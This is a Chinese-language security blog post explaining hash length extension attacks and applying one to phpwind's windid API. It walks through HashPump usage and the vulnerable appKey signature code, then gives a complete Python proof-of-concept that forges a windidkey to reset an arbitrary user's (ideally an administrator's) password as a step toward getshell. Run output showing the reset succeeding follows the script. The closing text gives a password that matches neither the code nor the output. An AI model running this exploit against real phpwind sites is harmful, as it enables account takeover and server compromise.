phpwind利用hash长度扩展攻击修改后台密码getshell

哈希长度扩展攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。

1 哈希长度扩展攻击

1.1 简介

哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。哈希值基本表示如下H(密钥||消息),即知道了哈希值和密钥的长度,可以推出H(密钥||消息||padding||append)的哈希值,padding是要填充的字段,append则是要附加的消息。其实如果不知道密钥长度,可通过暴力猜解得到,已知的有长度扩展攻击缺陷的函数有MD5,SHA-1,SHA-256等等,详细的攻击原理可参考Everything you need to know about hash length extension attacks

1.2 利用

这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
安装:pip install hashpumpy

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/python# hashpump –help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h –help Display this message.
-t –test Run tests to verify each algorithm is operating properly.
-s –signature The signature from known message.
-d –data The data from the known message.
-a –additional The information you would like to add to the known message.
-k –keylength The length in bytes of the key being used to sign the original message with.
Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@botnet_hunter)>

-s参数对应的就是H(密钥||消息)中的哈希值,-d参数对应着消息,-k参数对应着密钥的长度,-a则是要附加的消息。

1
2
3
root@kali:~/python# hashpump -s “ebfe0fff1806cfe6186c6a0b172e8148” -d “1465895192adoAvatarcavatarmapitypeflashuid2uidundefined” -k 32 -a namespacesiteaeditUsercusermapipasswordGongFang9uid1
4daee9a61955a1c17319f4c1664d11df
1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00namespacesiteaeditUsercusermapipasswordGongFang9uid1

最后提供一个哈希扩展攻击在线工具:http://sakurity.com/lengthextension,需要注意的长度是密钥+消息的总长度,详情见图:![此处输入图片的描述][2]

2 phpwind利用点分析

phpwind会在每次请求的时候校验密钥,具体的对应函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$charset = ‘utf-8’;
$_windidkey = $this->getInput(‘windidkey’, ‘get’);
$_time = (int)$this->getInput(‘time’, ‘get’);
$_clientid = (int)$this->getInput(‘clientid’, ‘get’);
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent[‘id’], $_time, $clent[‘secretkey’], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time – $_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}

在这个函数中会提取windidkey,并且和WindidUtility::appKey生成的结果做对比,不同则退出,如过相同继续判断时间是否超时,超时也退出,appKey的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data,因为下面的buildRequest()里加了。
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}

在函数中md5(md5($apiId.'||'.$secretkey).$time.$str)的值是知道的,即windidkey,这个值在用户上传头像处泄露md5($apiId.'||'.$secretkey)的长度是知道的,32bit,$time.$str参数是用户可控的,那么就满足了哈希扩展长度攻击,下面我们看下用户上传头像处的请求,右键查看源代码找到如下请求:

1
http://192.168.3.106/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504

接着看实际构造的appKey的参数效果,这个可以根据trace的结果直接给出,具体如下:

1
md5(‘520a1e355b8cfc82e56ae578176d7f101465977216adoAvatarcavatarmapitypeflashuid2uidundefined’) /var/www/html/src/windid/service/base/WindidUtility.php:54

md5($apiId.'||'.$secretkey)的值为520a1e355b8cfc82e56ae578176d7f10$time1465977216,$stradoAvatarcavatarmapitypeflashuid2uidundefined,从appKey函数的实现来看,$str就是get,post请求进行取舍排序得到的。有了这个基础,根据hashpump公式,在post请求中加入我们的参数,并计算出合适的windidkey值,提交请求,就可达到目的。

3 利用POC

可利用如下的代码构造post请求,修改某uid用户的密码。如果修改的是管理员的密码,并且这管理员有相应的后台权限,那么我们就可以在后台getshell,利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!env python
# coding=utf-8
import hashpumpy
import urllib
import urlparse
import urllib2
import requests
def md5hack(md5, ori_str, append, security_len):
md5, message = hashpumpy.hashpump(md5, ori_str,append, security_len)
quoted_message = urllib.quote(message)
print ‘md5 after hash length attacked:’,md5
print ‘message:’,message
print ‘quote message:’,quoted_message
return (md5,quoted_message)
def modify_passwd(ip, uid, target_uid, windidkey, padding, time, password=”GongFang9″):
“””修改后台管理员的密码”””
target_uid = target_uid #uid是后台管理的uid参数
host = “http://” + ip
data = “a=editUser&c=user&m=api&uid={0}&password={1}”.format(target_uid, password)
url = “{0}/windid/index.php?windidkey={1}&adoAvatarcavatarmapitypeflashuid{2}uidundefined={3}&clientid=1&time={4}&namespace=site”.format(host,windidkey,uid,padding,time)
print ‘url:’,url
print ‘data:’,data
r = requests.post(url,data=data)
#r = requests.post(url,data=data,headers=headers)
print r.text
if r.text.strip() == “1”:
print ‘modify password Succeed’
else:
print ‘failed’
if __name__ == “__main__”:
“””点开用户头像上传处,右键查看源码,搜索windidkey,拷贝含flash字段的那个request作为r参数”””
r = “””http%3A%2F%2F192.168.3.106%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D5%26windidkey%3D1eb5af71d002ac89e22c0170806b0fe8%26time%3D1466416702%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F192.168.3.106%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F5.jpg%3Fr%3D78057″””
request = urlparse.urlparse(urllib.unquote(r))
querys = [item for item in request.query.split(“&”)]
query_dict = {item.split(“=”)[0]:item.split(“=”)[1] for item in querys}
ori_md5 = query_dict.get(“windidkey”)
time = query_dict.get(‘time’)
uid = query_dict.get(‘uid’)
ori_str = “{0}adoAvatarcavatarmapitypeflashuid{1}uidundefined”.format(time,uid)
password = “test123”
ip = “192.168.3.173”
ip = “192.168.3.106”
target_uid = 3
post_append= “a=getConfig&c=config&m=api&id=1”
post_append= “a=editUser&c=user&m=api&uid={0}&password={1}”.format(target_uid,password)
post = “”.join(sorted([item.replace(“=”,””) for item in post_append.split(“&”)]))
# security = “d2edc0a3340df65cb66387464f3adfc1”
# ori_str = “1465784719adoAvatarcavatarmapitypeflashuid2uidundefined”
security_len = 32#phpwind计算windidkey 公式md5(md5($apiId.’||’.$secretkey).$time.$str),md5值的长度是32
print ‘hashmd5:’,ori_md5
print ‘security len:’, security_len
print ‘ori_str’, ori_str
append = ‘agetcappid1mapi’
append = “namespacesite” + post
print ‘post’,append
(md5,quoted_message) = md5hack(ori_md5, ori_str, append, security_len)
padding = quoted_message[quoted_message.index(“%”):quoted_message.rindex(“%”)+3]
modify_passwd(ip, uid, target_uid, md5, padding, time, password)

运行之后得到

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/python# python md5hack.py
hashmd5: 4d8971d0d2556d5dcbeb3b0f10e41429
security len: 32
ori_str 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined
post namespacesiteaeditUsercusermapipasswordtangTest3uid3
md5 after hash length attacked: e46e0aaddbd4e008077535a4dafab3f5
message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined▒▒namespacesiteaeditUsercusermapipasswordtangTest3uid3
quote message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00namespacesiteaeditUsercusermapipasswordtangTest3uid3
url: http://192.168.3.173/windid/index.php?windidkey=e46e0aaddbd4e008077535a4dafab3f5&adoAvatarcavatarmapitypeflashuid10uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00&clientid=1&time=1466474956&namespace=site
data: a=editUser&c=user&m=api&uid=3&password=test123
1
modify password Succeed

代码中修改uid为3的账户的密码为GongFang7,假设该用户具有后台管理员权限,进入后台getshell,具体的getshell可参考http://www.wooyun.org/bugs/wooyun-2016-0175518

Spread the word. Share this post!

Meet The Author

Leave Comment